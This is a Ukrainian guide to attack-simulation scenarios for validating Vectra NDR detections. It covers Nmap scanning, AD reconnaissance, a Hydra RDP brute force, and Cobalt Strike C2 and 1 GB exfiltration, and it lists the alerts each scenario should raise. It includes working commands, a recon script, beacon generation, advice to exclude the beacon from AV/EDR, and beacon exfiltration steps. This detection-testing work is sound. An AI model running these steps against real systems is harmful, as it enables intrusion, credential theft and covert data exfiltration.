Сценарії тестування Vectra NDR¶

Використовуйте тестові машини

Сценарії тестування використовують реальні інструменти та техніки атак. Не виконуйте їх на робочих машинах чи в production-середовищі без письмового дозволу!

Базовий навчальний період

Перед початком тестування переконайтесь, що Vectra NDR пройшов базовий навчальний період (зазвичай 7–14 днів). Тестування до його завершення може давати хибні або неповні результати. Уточніть тривалість у представника Vectra.

RCN - Network Reconnaissance через Nmap¶

Тип атаки: Reconnaissance

Цей сценарій продемонструє реакцію Vectra NDR на сканування мережі - дії, які зловмисник виконує після отримання первинного доступу для вивчення інфраструктури, пошуку активних хостів та відкритих сервісів.

Відповідно до документу Vectra "Best Practices Guide", мережева розвідка - це те, як атакувальники вивчають середовище після отримання доступу. Вони сканують активні хости, відкриті порти та сервіси, щоб планувати латеральний рух та підвищення привілеїв. Симулювати активність необхідно поступово, щоб відображати реальну поведінку загрозового актора.

Підготовка¶

Встановіть Nmap на машині, з якої виконуватиметься сканування (Linux або Windows):

# Linux (Debian/Ubuntu)
sudo apt update && sudo apt install nmap -y

# Linux (RHEL/CentOS)
sudo yum install nmap -y

# Windows - завантажте інсталятор з https://nmap.org/download.html
# або через winget:
winget install -e --id Insecure.Nmap

Атака¶

Виконайте два послідовних сканування цільової підмережі.

Сканування 1 - повне сканування TCP-портів з визначенням сервісів та ОС:

nmap -p 1-65535 -T4 -A -v 192.168.10.0/24

Параметри:
  -p 1-65535  сканування всіх TCP-портів (1–65535)
  -T4         агресивний темп (швидше, але більш помітно)
  -A          увімкнути визначення ОС, версій сервісів, NSE-скрипти та traceroute
  -v          детальний вивід у реальному часі

Сканування 2 - комбіноване TCP SYN та UDP-сканування:

nmap -sS -sU -T4 -A -v 192.168.10.0/24

Параметри:
  -sS         TCP SYN scan (половинне з'єднання, менш помітне ніж -sT)
  -sU         UDP scan (виявлення UDP-сервісів: DNS, SNMP, DHCP тощо)
  -T4         агресивний темп
  -A          визначення ОС та версій сервісів
  -v          детальний вивід

Замініть підмережу

192.168.10.0/24 - це приклад. Замініть на актуальну підмережу вашої тестової інфраструктури. Переконайтесь, що скануєте лише дозволені хости.

Що відбулося?¶

Nmap надіслав велику кількість TCP SYN- та UDP-пакетів до всіх хостів та портів у вказаній підмережі. Така активність створює характерний мережевий патерн: один хост послідовно звертається до великої кількості інших хостів та портів, що значно відрізняється від нормального трафіку.

Vectra NDR проаналізував трафік та виявив аномальну поведінку: хост ініціює незвично велику кількість з'єднань до різних внутрішніх адрес. Ця активність відповідає патернам мережевої розвідки та спричиняє відповідні спрацювання.

Детекції Vectra, що очікуються:

Suspicious Port Scan - хост звертається до великої кількості портів на окремих хостах
Suspicious Port Sweep - хост звертається до великої кількості хостів на певних портах
Internal Darknet Scan - при зверненні до IP-адрес, що не були активні в мережі

DCR - Domain Reconnaissance через скрипт на Kali Linux¶

Тип атаки: Reconnaissance (Domain / Active Directory)

Цей сценарій продемонструє реакцію Vectra NDR на внутрішню розвідку Active Directory - дії, які зловмисник виконує після отримання доступу до мережі для виявлення користувачів, комп'ютерів та сервісів домену.

Відповідно до документу Vectra "Best Practices Guide", після картографування мережі атакувальники звертаються до Active Directory для пошуку цілей з високою цінністю: перераховують користувачів, групи, політики та довірчі відносини. Важливо симулювати активність поступово та з різних хостів для реалістичності.

Підготовка¶

Підніміть Kali Linux всередині тестової інфраструктури (як фізичну машину, VM або контейнер) з доступом до мережі, де знаходяться цільові хости.

Переконайтесь, що необхідні інструменти встановлені (у Kali Linux вони входять до базового дистрибутиву):

# Перевірка наявності інструментів
which nmap smbclient ldapsearch

# Якщо якогось інструменту немає - встановіть:
sudo apt update && sudo apt install nmap smbclient ldap-utils -y

Створіть файл скрипта recon.sh:

nano recon.sh

Вставте наступний вміст:

#!/bin/bash
echo "[*] Starting internal recon..."

# Example only - replace with your own IP addresses
nmap -sS -T4 -p 88,135,139,445,389,3389 <CLIENT_IP_1> <CLIENT_IP_2> <DC_IP>

# Example only - replace with your own target
smbclient -L //<TARGET_IP> -N

# Example only - replace with your own LDAP/DC parameters
ldapsearch -x -H ldap://<DC_IP> -b "DC=example,DC=local" "(objectClass=user)"

Що треба замінити: - <CLIENT_IP_1> - IP першого тестового хоста; - <CLIENT_IP_2> - IP другого тестового хоста; - <DC_IP> - IP контролера домену; - <TARGET_IP> - IP вузла, на якому перевіряється SMB; - DC=example,DC=local - ваш реальний LDAP base DN.

Зробіть скрипт виконуваним:
```
chmod +x recon.sh
```

Атака¶

Запустіть скрипт від імені root:

sudo ./recon.sh

У терміналі з'явиться послідовний вивід трьох етапів: результати Nmap-сканування, список SMB-шар та перелік об'єктів користувачів з LDAP. Скрипт виконується послідовно - кожна команда генерує мережеву активність, характерну для внутрішньої розвідки домену.

Що відбулося?¶

Скрипт виконав три типи запитів до інфраструктури Active Directory:

Nmap просканував специфічні AD-порти (88 - Kerberos, 389 - LDAP, 445 - SMB, 3389 - RDP) на вказаних хостах, генеруючи патерн цільового сканування відомих сервісів.

smbclient здійснив перерахування мережевих шар через SMB-протокол - типова дія для виявлення доступних ресурсів у домені.

ldapsearch виконав масовий LDAP-запит до Domain Controller для отримання переліку всіх об'єктів типу «user» - одна з найхарактерніших ознак доменної розвідки.

Vectra NDR проаналізував LDAP-трафік та виявив аномалію: хост, що зазвичай не виконує масових запитів до AD, надіслав LDAP-запит надзвичайно широкого охоплення. Поєднання з Nmap- та SMB-активністю підвищило загальний рівень підозри.

Детекції Vectra, що очікуються:

Suspicious LDAP Query - масовий або широкий LDAP-запит до Active Directory
Suspicious Port Scan - цільове сканування AD-портів
RPC Recon - якщо скрипт активував RPC-виклики (через нові порти або хости)

LAT - Lateral Movement Detection через Hydra (брутфорс RDP)¶

Тип атаки: Lateral Movement

Цей сценарій продемонструє реакцію Vectra NDR на спробу латерального руху шляхом підбору пароля до RDP-сервісу на іншому хості - техніку, яку атакувальники використовують для отримання доступу до сусідніх систем у мережі.

Відповідно до документу Vectra "Best Practices Guide", латеральний рух передбачає переміщення між системами для підвищення привілеїв або доступу до чутливих даних. Тести повинні симулювати спроби входу та повторне використання облікових даних. Brute-force RDP є одним із найпоширеніших методів.

Підготовка¶

Встановіть Hydra на Kali Linux або Windows-машині, з якої виконуватиметься атака:

# Linux (Kali - встановлено за замовчуванням)
# Перевірка:
hydra -h | head -5

# Якщо не встановлено:
sudo apt update && sudo apt install hydra -y

Створіть файл зі списком паролів passlist.txt у поточній директорії. Файл повинен містити велику кількість паролів - по одному на рядок:
```
# Створення файлу з паролями вручну:
nano passlist.txt
```
Вставте декілька сотень або тисяч паролів, наприклад:
```
password
Password1
Password123
P@ssword1
Admin123
Welcome1
Summer2024
Winter2024
Company123
...
```
Поради щодо wordlist

Для реалістичного тесту використовуйте готові wordlist-файли, наприклад rockyou.txt, яким Kali Linux постачається у /usr/share/wordlists/rockyou.txt.gz. Розпакуйте його командою gunzip /usr/share/wordlists/rockyou.txt.gz та використовуйте як passlist.txt.

Атака¶

Запустіть Hydra для brute-force атаки на RDP-сервіс цільового хоста:

hydra -l alice -P passlist.txt rdp://192.168.X.X

Параметри:
  -l alice        ім'я користувача, для якого підбирається пароль
  -P passlist.txt шлях до файлу зі списком паролів
  rdp://          протокол атаки (Remote Desktop Protocol)
  192.168.X.X     IP-адреса цільового хоста

Обов'язково замініть значення

alice - замініть на реальне ім'я користувача у вашій тестовій інфраструктурі
192.168.X.X - замініть на IP-адресу цільового хоста з увімкненим RDP

Переконайтесь, що RDP (порт 3389) увімкнено та доступно на цільовому хості.

Hydra почне послідовно перебирати паролі зі списку та виводити прогрес у термінал. У консолі Vectra NDR з'явиться спрацювання.

Що відбулося?¶

Hydra встановила велику кількість послідовних спроб автентифікації через протокол RDP до цільового хоста, використовуючи одне ім'я користувача з різними паролями. Кожна невдала спроба завершується відповідним повідомленням від сервера, після чого Hydra одразу переходить до наступного пароля зі списку.

Vectra NDR проаналізував RDP-трафік та виявив аномалію: один хост здійснює незвично велику кількість спроб автентифікації до іншого внутрішнього хоста через RDP, з яких більшість завершується невдачею. Такий патерн є класичною ознакою brute-force атаки для отримання доступу до сусідньої системи - що і є латеральним рухом.

Детекції Vectra, що очікуються:

Brute-Force (Lateral Movement) - масові спроби входу через RDP між внутрішніми хостами
RDP Recon - множинні RDP-підключення з переважно невдалими результатами
Suspicious Admin - якщо атака завершилась успішно та було встановлено RDP-сесію

C2 - Command and Control через Cobalt Strike¶

Тип атаки: Command & Control (C2)

Цей сценарій продемонструє реакцію Vectra NDR на встановлення прихованого C2-каналу між зовнішнім сервером та Windows-машиною всередині інфраструктури за допомогою Cobalt Strike.

Відповідно до документу Vectra "Best Practices Guide: How to Test an NDR Solution Effectively", більшість цільових атак включають C2-активність незабаром після первинного доступу - у 60–80% складних атак використовується C2-інфраструктура. Оскільки NDR-рішення зосереджені на виявленні пост-компрометаційної поведінки, а не на первинному вторгненні, цей сценарій є базовим для перевірки.

Підготовка¶

Підніміть Linux-сервер за межами інфраструктури (наприклад, VPS у хмарі - DigitalOcean, Hetzner, OVH або будь-який інший провайдер). Сервер повинен мати публічну IP-адресу та бути доступним з мережі, де знаходиться цільова Windows-машина.
Встановіть Cobalt Strike на Linux-сервері.
```
# Завантажте дистрибутив Cobalt Strike від постачальника
# Розпакуйте та запустіть Team Server
cd /opt/cobaltstrike
sudo ./teamserver <SERVER_IP> <PASSWORD> [malleable_c2_profile]

# Приклад:
sudo ./teamserver 1.2.3.4 MyStr0ngPass
```
Примітка

<SERVER_IP> - приватний IP-адреса вашого Linux-сервера. <PASSWORD> - пароль для підключення Cobalt Strike клієнта до Team Server. Після запуску Team Server виведе fingerprint - збережіть його для підтвердження при підключенні клієнта. Щоб клієнт міг підключитися до сервера Cobalt Strike, потрібно «вивести» його назовні під «білою» адресою. Для цього можна використовувати або Static Nat (1-to-1), або PAT (Port Address Translation) і «випустити» назовні тільки конкретний порт Listener-а (порт Listener-а вказується в пункті 4 інструкції). «Біла» адреса, під якою Listener опублікований в Інтернеті, повинна бути вказана в налаштуваннях Listener у пункті 4 інструкції
Підключіть Cobalt Strike клієнт (GUI) до Team Server. Клієнт можна запустити як на Linux, так і на Windows:
```
# Linux - запуск клієнта
cd /opt/cobaltstrike
./cobaltstrike
```
У вікні підключення введіть: - Host: приватний IP-адреса Team Server (1.2.3.4) - Port: 50050 (порт за замовчуванням) - User: будь-яке ім'я оператора - Password: пароль, вказаний при запуску teamserver

Створіть Listener у Cobalt Strike - це точка прийому з'єднань від beacon:

Cobalt Strike → Listeners → [кнопка Add]

Заповніть поля:
  Name:                 test-https-listener
  Payload:              Beacon HTTPS          ← обираємо HTTPS для маскування
  Host:                 1.2.3.4               ← приватний IP вашого сервера
  HTTPS Host (Stager):  1.2.3.4               ← приватний IP вашого сервера
  Port:                 443                   ← стандартний HTTPS-порт (можливі різні варіації портів)

Натисніть [Save]

Важливо

Для роботи HTTPS-listener на порту 443 (можливі різні варіації портів) Team Server повинен мати TLS-сертифікат. Cobalt Strike генерує self-signed сертифікат автоматично, але для реалістичного тесту рекомендується використати Let's Encrypt з власним доменом.

Згенеруйте beacon-payload (виконуваний файл .exe), який потрібно запустити на цільовій Windows-машині:
```
Attacks → Packages → Windows Executable

Заповніть поля:
  Listener: test-https-listener   ← обираємо створений listener
  Output:   Windows EXE (.exe)
  x64:      ✓ (якщо ціль - 64-бітна Windows)

Натисніть [Generate] → збережіть файл, наприклад: beacon.exe
```
Примітка

Згенерований файл beacon.exe - це payload, який при запуску на цільовій машині встановить зворотне з'єднання до вашого Team Server через HTTPS.
Перенесіть beacon.exe на цільову Windows-машину всередині інфраструктури будь-яким зручним способом (USB, мережева шара, RDP copy-paste тощо). Оскільки ми використовуємо стандартний payload Cobalt Strike, будь-яке рішення AV/EDR/XDR за замовчуванням не дозволить зберегти та запустити цей виконуваний файл. Тому потрібно або додати цей виконуваний файл до списку винятків AV/EDR, або повністю вимкнути захист у режимі Prevent.

Атака¶

Запустіть beacon.exe на цільовій Windows-машині:

# Двічі клікніть на beacon.exe
# або запустіть через командний рядок:

beacon.exe

Після запуску в Cobalt Strike клієнті (розділ Beacon або вкладка Event Log) з'явиться нове з'єднання - активний beacon. Це означає, що C2-тунель успішно встановлено.

Щоб симулювати реалістичну активність, виконайте кілька команд через beacon-консоль. Правою кнопкою миші клікніть на beacon → Interact, потім виконайте:

# У Beacon Console:
sleep 45 10
# sleep <секунди> <jitter%> - встановлює інтервал зв'язку ~45с з ±10% відхиленням

whoami
shell ipconfig /all
shell net user /domain
shell systeminfo
shell tasklist /v

Чому sleep важливий

Відповідно до рекомендацій Vectra, необхідно симулювати beacon з реалістичними інтервалами (30–60 секунд). Команда sleep 45 10 встановлює перевірку зв'язку кожні ~45 секунд - саме такий патерн виявляється NDR як аномалія, а не як легітимний трафік.

Залиште beacon активним та продовжуйте виконувати команди протягом мінімум 30–60 хвилин - Vectra NDR потребує часу для накопичення поведінкового сигналу та формування алерту.

Що відбулося?¶

Cobalt Strike встановив зашифрований HTTPS-тунель між Windows-машиною всередині інфраструктури та зовнішнім Linux-сервером. Beacon регулярно звертається до Team Server з рівномірним інтервалом (sleep), передаючи результати виконаних команд.

Vectra NDR проаналізував мережевий трафік та виявив аномалію: внутрішній хост встановив довготривале з'єднання із зовнішньою адресою через HTTPS, де поверх стандартного протоколу тунелюється інший трафік із регулярним патерном звернень. Після накопичення достатнього сигналу (зазвичай 30–60 хвилин) у консолі Vectra з'явилось спрацювання.

Детекції Vectra, що очікуються:

Hidden HTTPS Tunnel - виявлення прихованого тунелю поверх HTTPS
External Remote Access - зворотній патерн зв'язку (хост отримує інструкції ззовні)

EXF - Data Exfiltration через Cobalt Strike¶

Тип атаки: Exfiltration

Цей сценарій продемонструє реакцію Vectra NDR на ексфільтрацію великого файлу через активний C2-тунель Cobalt Strike - метод, який атакувальники використовують для вивантаження вкрадених даних на зовнішній сервер.

Передумова

Для виконання цього сценарію необхідний активний beacon, встановлений у сценарії C2 (четвертий сценарій цього документу). Переконайтесь, що з'єднання між Windows-машиною та Team Server активне, а beacon відповідає у Cobalt Strike клієнті. Наприклад, щоб підтримувати активність тунелю, можна запустити з’єднання VNC (клацнути правою кнопкою миші на комп’ютері -> Explore -> Desktop (VNC)

Відповідно до документу Vectra "Best Practices Guide", для тригерингу поведінкових та статистичних моделей NDR необхідно забезпечити достатній обсяг або фрагментовані передачі. Файл повинен бути мінімум 1 ГБ.

Підготовка¶

Підготуйте тестовий файл розміром мінімум 1 ГБ на цільовій Windows-машині (тій, де активний beacon).

Варіант 1 - створити файл-заглушку через командний рядок Windows:
```
# PowerShell - створення файлу 1 ГБ
$f = [System.IO.File]::Create("C:\Temp\testdata.bin")
$f.SetLength(1GB)
$f.Close()
```
Варіант 2 - через fsutil:
```
# CMD - створення файлу 1 ГБ
fsutil file createnew C:\Temp\testdata.bin 1073741824
```
Примітка

1073741824 - це 1 ГБ у байтах (1024 × 1024 × 1024). Файл буде заповнений нулями, що є достатнім для симуляції передачі даних.
Переконайтесь, що папка C:\Temp існує:
```
mkdir C:\Temp
```

Атака¶

Перейдіть до Cobalt Strike клієнта на Linux-сервері. У списку активних beacon-з'єднань знайдіть ціль та відкрийте консоль взаємодії.

Крок 1 - Відкрийте Beacon Console:

У головному вікні Cobalt Strike:
  → Клікніть правою кнопкою на активний beacon у таблиці
  → Оберіть [Interact]
  → Відкриється Beacon Console (термінальне вікно)

Крок 2 - Перевірте, що файл існує на цільовій машині:

# У Beacon Console:
shell dir C:\Temp\testdata.bin

Вивід повинен показати файл розміром ~1 ГБ.

Крок 3 - Виконайте ексфільтрацію через команду download:

# У Beacon Console:
download C:\Temp\testdata.bin

Як працює команда download

Команда download ініціює передачу файлу з цільової машини на Team Server через активний HTTPS-тунель. Файл передається фрагментами (chunks) поверх зашифрованого beacon-каналу. Прогрес передачі відображається у Beacon Console.

Крок 4 - Відстежуйте прогрес у Downloads:

У головному меню Cobalt Strike:
  → View → Downloads
  → Тут відображається прогрес завантаження файлу на Team Server

Передача файлу 1 ГБ займе певний час залежно від швидкості з'єднання. Протягом цього часу через HTTPS-тунель передається великий обсяг даних, що є аномальним для звичайного beacon-трафіку.

Альтернативно - через File Browser (GUI):

У головному вікні Cobalt Strike:
  → Клікніть правою кнопкою на beacon
  → Оберіть [Explore] → [File Browser]
  → У File Browser перейдіть до C:\Temp\
  → Клікніть правою кнопкою на testdata.bin
  → Оберіть [Download]

Приберіть за собою

Після завершення тесту видаліть тестовий файл на цільовій машині:

# У Beacon Console:
shell del C:\Temp\testdata.bin

Що відбулося?¶

Cobalt Strike передав файл розміром 1 ГБ з цільової Windows-машини на зовнішній Team Server через активний HTTPS beacon-тунель. Передача відбувалась фрагментами поверх зашифрованого з'єднання, яке ззовні виглядало як звичайний HTTPS-трафік.

Vectra NDR зафіксував аномалію: через HTTPS-тунель, який раніше передавав невеликі обсяги командного трафіку (beacon check-ins), раптово почав передаватись значно більший обсяг даних до тієї ж зовнішньої адреси. Різке збільшення обсягу вихідного трафіку через вже відомий підозрілий канал - класична ознака ексфільтрації даних.

Детекції Vectra, що очікуються:

Data Smuggler - хост накопичує та передає великий обсяг даних назовні через існуючий тунель
Smash and Grab - якщо передача відбувається швидко та з великим обсягом
Hidden HTTPS Tunnel - підсилення вже наявного сигналу від C2-сценарію